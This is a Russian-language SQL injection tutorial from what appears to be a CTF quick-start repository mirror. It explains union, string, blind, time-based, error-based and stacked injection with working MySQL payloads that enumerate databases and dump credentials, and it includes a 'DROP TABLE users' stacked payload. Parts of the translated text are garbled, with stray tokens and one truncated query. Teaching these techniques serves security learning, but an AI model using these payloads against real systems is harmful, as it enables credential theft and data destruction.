1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/Probius-CTF-QuickStart

Клонировать/Скачать
SQL注入入门.md 32 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
Отправлено 07.06.2025 11:01 f8e0cb9

Введение в SQL-инъекции

Введение

Не буду использовать странные формальные выражения, а просто объясню, что SQL-инъекция — это метод выполнения неожиданных SQL-запросов через управляемые пользователем точки ввода. Неожиданность заключается в том, что вставляя соответствующие запросы, можно получить доступ к другим данным в базе данных. Детали смотрите ниже на примере.

Пример такого запроса:

$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

По задумке, передаваемое значение id используется для индексации, и ожидаемые значения могут быть:

$_GET["id"] = 1;
$_GET["id"] = 2;

Таким образом, ожидаемые SQL-запросы будут выглядеть так:

$sql = "SELECT username,password FROM users WHERE id = 1";
$sql = "SELECT username,password FROM users WHERE id = 2";
......

Без фильтрации, мы можем добавить свои собственные запросы:

Например, переданное значение:

$_GET["id"] = "1 union select username,password from user"

Тогда итоговый запрос будет:

$sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;"

image-20230426163533547

Таким образом, выполняется неожиданный SQL-запрос, и мы получаем не только ожидаемые данные из таблицы users, но и дополнительные данные.

Когда вы видите это, вам не обязательно знать все детали запроса, но важно понимать, что такое SQL-инъекция и как она работает.

Далее мы начнем с базовых понятий и синтаксиса SQL-баз данных и постепенно дойдем до базовых знаний SQL-инъекции.### Основы SQL-баз данных

Основы структуры баз данных

image-20230426164654561

image-20230426165200366

Как показано на рисунке, база данных имеет иерархическую структуру:

  • База данных (database)
    • Таблица (table)
      • Столбец (column)
        • Данные

Основы синтаксиса SQL-баз данных

Основные синтаксисы:

  • SELECT
SELECT имя_столбца1, имя_столбца2, ... FROM имя_таблицы WHERE условие
  • UNION

    SELECT имя_столбца FROM имя_таблицы
    UNION
    SELECT имя_столбца_1 FROM имя_таблицы_1;

    Обратите внимание, что при использовании UNION количество столбцов в двух таблицах должно быть одинаковым.

  • LIMIT

  • SELECT столбец1, столбец2, ... FROM имя_таблицы LIMIT количество; # Возвращает первые количество строк из таблицы
    SELECT столбец1, столбец2, ... FROM имя_таблицы LIMIT смещение, количество_строк; # Возвращает количество_строк строк, начиная с строки с номером смещение+1
    # Например, LIMIT 10, 10 вернет строки с 11 по 20
  • SELECT * FROM table_name ORDER BY column_name DESC LIMIT 10;
  • Комментарий

    SELECT username,password FROM users WHERE id = ((1)) union select username,password from user;-- )) limit 1, 1; все последующие данные будут откомментированы
    DROP sampletable;# все последующие данные будут откомментированы
      DROP/*комментарий*/sampletable`   DR/**/OP/*обход фильтра*/sampletable`    SELECT/*заменить пробелы*/password/**/FROM/**/Members #/**/может использоваться для замены пробелов
      #/*все данные между комментариями будут откомментированы*/
    ```  ```sql
      SELECT /*!32302 1/0, */ 1 FROM tablename -- Этот /*! комментарий существует только в MySQL
  • ORDER BY

    SELECT column1, column2, ... FROM table_name [WHERE condition] ORDER BY column_name [ASC|DESC];
    -- где column1, column2 и т.д. — это названия столбцов, которые нужно выбрать, table_name — это имя таблицы, condition — это условие выборки, column_name — это имя столбца, по которому будет производиться сортировка, ASC или DESC — это сортировка по возрастанию или убыванию. Можно использовать несколько столбцов для сортировки, разделяя их запятыми.
    -- В SQL-инъекциях мы часто используем этот метод для определения количества столбцов
    SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 1; -- без ошибок
    SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 2; -- без ошибок
    SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 3; -- с ошибкой

Часто используемые параметры:- user() — текущий пользователь базы данных

  • database() — текущее имя базы данных
  • version() — текущая версия базы данных
  • @@datadir — путь к директории хранения данных базы данных
  • concat() — объединение данных, используется для объединения результатов двух запросов. Например, concat(username,0x3a,password)
  • group_concat() — и concat() похожи, например, group_concat(DISTINCT user,0x3a,password) — используется для вывода нескольких строк данных за один запрос
  • concat_ws() — используется аналогично
  • hex() и unhex() — для кодирования и декодирования в hex
  • ASCII() — возвращает ASCII код символа
  • CHAR() — преобразует целое число в соответствующий символ
  • load_file() — чтение файла в текстовом формате, в Windows пути задаются как \\
  • select xxoo into outfile 'путь' — при наличии соответствующих прав можно использовать для записи файла### Основные типы инъекций

Числовая инъекция

Пример, который мы привели в начале, является типичным примером числовой инъекции.

$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

Можно разделить это на две части: исходное выражение SELECT username,password FROM users WHERE id = и ввод пользователя $_GET["id"].

Ранее мы упоминали, что такие выражения обычно используются для того, чтобы пользователь вводил id для поиска. Поэтому ожидаемым вводом являются числа, и они просто добавляются к запросу.

Однако, поскольку ввод пользователя не фильтруется, любое значение будет добавлено к запросу без изменений. Поэтому мы можем использовать следующие шаги для получения информации о базе данных:

  • Используем Order by для определения количества столбцов, что поможет в дальнейшей инъекции.

    id = OnClickListener 1 Order by 1;
    id = 1 Order by 2;
    id = 1 Order by 3; # Ошибка, определяет количество столбцов как 2
  • Используем объединение запросов union для получения имени базы данных из information_schema.

    1 union SELECT 1,schema_name FROM information_schema.schemata;
    # или
    1 union SELECT schema_name,2 FROM information_schema.schemata;
    # Обратите внимание, что schema_name должен быть включен в отображаемые столбцы, например, если password не отображается, но username отображается, используйте второй вариант.
    # В этом случае запрос на сервере будет выглядеть так:
    SELECT username,password FROM users WHERE id = 1 union SELECT 1,schema_name FROM information_schema.schemata;
    ```- Затем используем объединение запросов для получения имени таблиц в базе данных. Обычно мы сначала получаем таблицы текущей базы данных (используя `database()`), а затем смотрим на таблицы других баз данных.
    
    Здесь мы используем `UNION`, `GROUP_CONCAT(table_name)` и `information_schema.tables`.
    
    ```sql
    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
    1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
    # Принцип тот же
    # Если нужно получить таблицы из другой базы данных, можно использовать where table_schema='databaseNAME'
    # Запрос на сервере будет выглядеть так:
    SELECT username,password FROM users WHERE id = 1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

    image-20230426201306290

  • Ниже приведен способ получения соответствующих имен полей для таблицы, что облегчит последующий запрос.

    Для этого мы используем UNION, GROUP_CONCAT(column_name) и information_schema.columns.

    1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()
    1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()
    # Выполнение запроса в фоновом режиме:
    SELECT username,password FROM users WHERE id = 1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database();

    image-20230426202627021

Типовая SQL-инъекция

Для примера предположим, что у нас есть система входа, которая принимает два параметра: имя пользователя и пароль. Запрос на сервере может выглядеть следующим образом:```sql SELECT * FROM users WHERE username='$username' AND password='$password';


В этом случае, если разработчик ожидает, что параметры будут строками, это может привести к уязвимости SQL-инъекции.

В отличие от числовых инъекций, нам нужно сначала закрыть одинарную кавычку.

Предположим, что `$username` = `-1' or '1'='1' -- `

```sql
SELECT * FROM users WHERE username='-1' or '1'='1' -- ' AND password='$password';

image-20230426203250434

Таким образом, условие WHERE становится всегда истинным, и запрос выводит все данные из таблицы users.

Аналогично числовым инъекциям, мы можем использовать объединение запросов для получения информации о базе данных.

order by для определения количества столбцов:

SELECT * FROM users WHERE username='-1' or '1'='1' order by 1-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 2-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 3-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 4-- ' AND password='$password'; # Ошибка

image-20230426213252233

Теперь, как и в случае с числовыми инъекциями, заменим order by NUM на соответствующий запрос:

  • Имя базы данных
SELECT * FROM users WHERE username='-1' or '1'='1' union SELECT 1,schema_name,2 FROM information_schema.schemata;-- ' AND password='$password';
  • Название таблицы
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()-- ' AND password='$password';
  • Название поля
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()-- ' AND password='$password';
```### Блайнд-инъекция

Блайнд-инъекция — это метод атаки, при котором нападающий не может напрямую получить данные из базы данных, а должен использовать определённые техники для определения или вывода данных из базы данных. Блайнд-инъекция обычно подразделяется на булеву блайнд-инъекцию и временную блайнд-инъекцию.

В качестве примера рассмотрим следующий SQL-запрос:

```php
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

Булева блайнд-инъекция

Для вышеупомянутого запроса, если параметр id передан следующим образом:

id = 1 AND 1=1

Тогда запрос будет выглядеть так:

SELECT username,password FROM users WHERE id = 1 AND 1=1;

image-20230504191135714

Здесь требуется, чтобы оба условия были истинными: id=1 и 1=1. Оба условия, конечно, выполняются, особенно последнее.

А если я сделаю условие после AND таким образом, чтобы оно было ложным:

SELECT username,password FROM users WHERE id = 1 AND '1'='2';
# Здесь '1' = '2', что эквивалентно 1 = 2

image-20230504191548610

Можно видеть, что результат пустой, так как условие после AND не выполняется.

Используя этот символ AND, можно попытаться получить информацию следующими способами:

  • Использование функции LENGTH() для получения информации о длине

Например, используем функцию LENGTH() для получения длины данных:```sql id = 1 AND length(username) = NUM


Тогда запрос будет выглядеть так:

```sql
SELECT username, password FROM users WHERE id = 1 AND length(username) = 1;

image-20230504192130407

Конечно, перебор длины таким образом неэффективен. Можно использовать знаки < и > для перебора с использованием алгоритма бинарного поиска:

id = 1 AND length(username) < NUM
id = 1 AND length(username) > NUM

Такая эффективность будет намного выше.

  • Функция SUBSTR() используется для извлечения части строки. Используя функцию SUBSTR(), можно постепенно извлекать данные из базы данных:

    SUBSTR(string, start, length) где string — это строка, которую нужно извлечь, start — начальная позиция извлечения, length — длина извлекаемой части. Функция SUBSTR() начинает извлечение с позиции start и извлекает указанное количество символов.

    1 AND SUBSTR(username, 1, 1) = '?'

    Выполнение этого выражения:

    SELECT username, password FROM users WHERE id = 1 AND SUBSTR(username, 1, 1) = '?';

    image-20230504211550827

    SELECT username, password FROM users WHERE id = 1 AND SUBSTR(username, 2, 1) = 'd';

    image-20230504212127894

    Используя извлечение по частям, можно выполнить fuzz-тестирование конкретного символа данных.

    Здесь рекомендуется написать скрипт для выполнения такой сложной работы.

    Кроме того, функция SUBSTR() может использоваться для замены символов в строке: ```sql UPDATE users SET username=SUBSTR(username,1,3)||'***'||SUBSTR(username,7) WHERE username='admin'

    
    Данное SQL-выражение заменяет символы с 4 по 6 в имени пользователя 'admin' на '***'.
    
    Используя комбинацию этой функции, можно получить соответствующие данные без использования объединенного SQL-инъектирования и зависимых визуальных откликов:
    
    ```sql
    SELECT username,password FROM users WHERE id = 1 AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'
  • Функция MID()

    Функция MID() также используется для извлечения части строки.

    MID(string, start, length)

    MID("Hello, World!", 1, 5) # Возвращает "Hello";
    SUBSTR("Hello, World!", 1, 5) # Возвращает "Hello".
  • Функция CONCAT()

    Функция CONCAT() используется для объединения нескольких строк в одну.

    CONCAT(string1, string2, ...)
    SELECT username,password FROM users WHERE id = 1 union select CONCAT(username,'-',password),1 from users;

    image-20230504221859903

    В случае слепого SQL-инъектирования мы обычно используем функцию объединения для уменьшения количества запросов.

Временное слепое SQL-инъектирование

На самом деле, это похоже на булево SQL-инъектирование, но вместо этого используется время выполнения SQL-запроса для определения его истинности, чтобы постепенно вывести данные из базы данных. Вот некоторые часто используемые функции и приемы их применения:

  • IF()

    Функция IF() является условной функцией, которая используется для проверки выполнения определенного условия и возврата различных значений в зависимости от результата проверки. ```sql IF(условие, значение_если_истина, значение_если_ложь)

    
    Здесь `условие` представляет собой проверяемое условие, `значение_если_истина` — значение, которое возвращается, если условие выполнено, а `значение_если_ложь` — значение, которое возвращается, если условие не выполнено. Если условие выполнено, функция `IF()` вернет `значение_если_истина`, в противном случае — `значение_если_ложь`.
    
  • SLEEP()

    Функция SLEEP() является ядром временных инъекций, её синтаксис выглядит так: SLEEP(секунды)

    Когда этот запрос выполняется, программа будет приостановлена на указанное количество секунд, как показано в следующем примере:

    Обычно функции IF и SLEEP используются вместе.

    SELECT * FROM users WHERE username='admin' AND IF(SLEEP(5),1,0)

    Если в базе данных нет пользователя с именем admin, то этот запрос немедленно вернёт результат; в противном случае, программа будет приостановлена на cq 5 секунд перед возвратом результата.

    Также мы можем использовать наш демонстрационный запрос SELECT username,password FROM users WHERE id = для демонстрации:

    • Использование функции задержки, такой как SLEEP() или BENCHMARK(), для проверки успешности инъекции.
    SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0)

    Если первый символ имени пользователя в таблице пользователей является буквой a, программа будет приостановлена на 5 секунд, в противном случае вернётся 0. - Использование метки времени

    Можно использовать функции времени базы данных, такие как UNIX_TIMESTAMP(), для создания запросов с задержкой, например:

    SELECT username,password FROM users WHERE id = 1 AND IF(UNIX_TIMESTAMP()>1620264296,SLEEP(5),0)

    Этот SQL-запрос означает: если текущий таймстамп больше 1620264296, программа будет приостановлена на 5 секунд, в противном случае вернется 0.

    • Использование значений, возвращаемых функциями

    Можно использовать значения, возвращаемые функциями, такими как LENGTH() или SUBSTR(), для проверки успешности инъекции. Например:

    SELECT username,password FROM users WHERE id = 1 AND IF(LENGTH(username)=4,SLEEP(5),0)

    Этот SQL-запрос означает: если длина имени пользователя равна 4, программа будет приостановлена на 5 секунд, в противном случае вернется 0.

  • BENCHMARK()

    Функция BENCHMARK() является функцией, используемой для повторного выполнения указанного запроса. Она поддерживается в базах данных, таких как MySQL. Синтаксис функции BENCHMARK() обычно выглядит так:

    BENCHMARK(количество,выражение)

    В этом синтаксисе количество указывает количество повторений, а выражение — выражение, которое нужно повторять.

    Рассмотрим пример:

    SELECT * FROM users WHERE username='admin' AND IF(BENCHMARK(10,MD5('test')),1,0)

    Если в базе данных нет пользователя с именем admin, то этот запрос немедленно вернет результат; в противном случае, программа выполнит функцию MD5('test') 10 раз перед тем, как вернуть результат.### Инъекция через ошибки

Как следует из названия, метод получения данных с помощью информации об ошибках.- updatexml() Здесь мы рассмотрим инъекцию ошибок с использованием функции updatexml().

updatexml() — это функция обработки XML в MySQL, которая используется для обновления данных в XML-формате. Её стандартное использование выглядит следующим образом:

UPDATEXML(xml_target, xpath_expr, new_value)

где xml_target — это XML-данные, которые нужно обновить, xpath_expr — это путь к узлу, который нужно обновить, а new_value — это новое значение узла. Однако эта функция имеет недостаток: если два параметра содержат специальные символы, то функция вернёт ошибку, и содержимое второго параметра будет отображено в сообщении об ошибке.

mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, 0x7e, 3);
1105 - XPATH syntax error: '~'

Используя эту особенность, можно с помощью функции concat() объединить запрос и специальные символы, чтобы отобразить результат запроса в сообщении об ошибке.

SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, version()), 3)

Выход:

mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, version()), 3);
1105 - XPATH syntax error: '~8.0.12'

Однако следует учесть, что сообщение об ошибке имеет ограничение по длине символов. Существует два способа решения этой проблемы:

  • Использование LIMIT()
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, (select username from users limit 1, 1)), 3);
# Изменяя значение limit NUM,1, можно построчно получать данные
  • Использование substr()
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 31)), 3);

Результат выполнения:

mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 31)), 3);
1105 - XPATH syntax error: '~admin,super,flag,null'

Используя вышеупомянутые особенности, можно получить следующие данные: Получение всех баз данных

SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat('~', substr((select group_concat(schema_name) from information_schema.schemata), 1, 31)), 3)

Получение всех таблиц

SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat('~', substr(

Получение всех полей

SELECT username, password FROM users WHERE id = 1 and
updatexml(1,concat('~',
        substr(
                (select group_concat(column_name)
                from information_schema.columns
                where table_schema = 'security' and table_name = 'users')
        , 1 , 31)
),3)

- `extractvalue()` extractvalue() — это функция для обработки XML в MySQL, которая используется для извлечения значений из определенных узлов XML-данных.

Обычно его синтаксис выглядит следующим образом:

EXTRACTVALUE(xml_target, xpath_expr)

Здесь xml_target — это XML-данные, из которых нужно извлечь узел, а xpath_expr — это путь к узлу.

Метод использования extractvalue() для внесения ошибок похож на использование функции updatexml(), но с одним меньше параметром.

image-20230505015028726

Кроме того, ограничение длины сообщений об ошибках также такое же, как и для updatexml(), поэтому здесь нет необходимости подробно описывать это.

  • floor()
  • exp()

Стековый ввод

Как следует из названия, метод стекового ввода заключается в выполнении нескольких SQL-запросов одновременно.

Основная идея проста:

При выполнении SQL-запроса, если запрос содержит несколько SQL-запросов, сервер базы данных будет последовательно выполнять эти запросы, что может привести к нескольким атакам SQL-инъекции. Используя точку с запятой (;) для разделения нескольких SQL-запросов, можно осуществить атаку стекового ввода.

Пример:

SELECT username, password FROM users WHERE id = 1; DROP TABLE users;--

При выполнении этого SQL-запроса сервер базы данных последовательно выполнит эти два запроса, что приведет к получению имени пользователя и пароля из таблицы users и удалению самой таблицы users.

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/Probius-CTF-QuickStart.git
git@api.gitlife.ru:oschina-mirror/Probius-CTF-QuickStart.git
oschina-mirror
Probius-CTF-QuickStart
Probius-CTF-QuickStart
main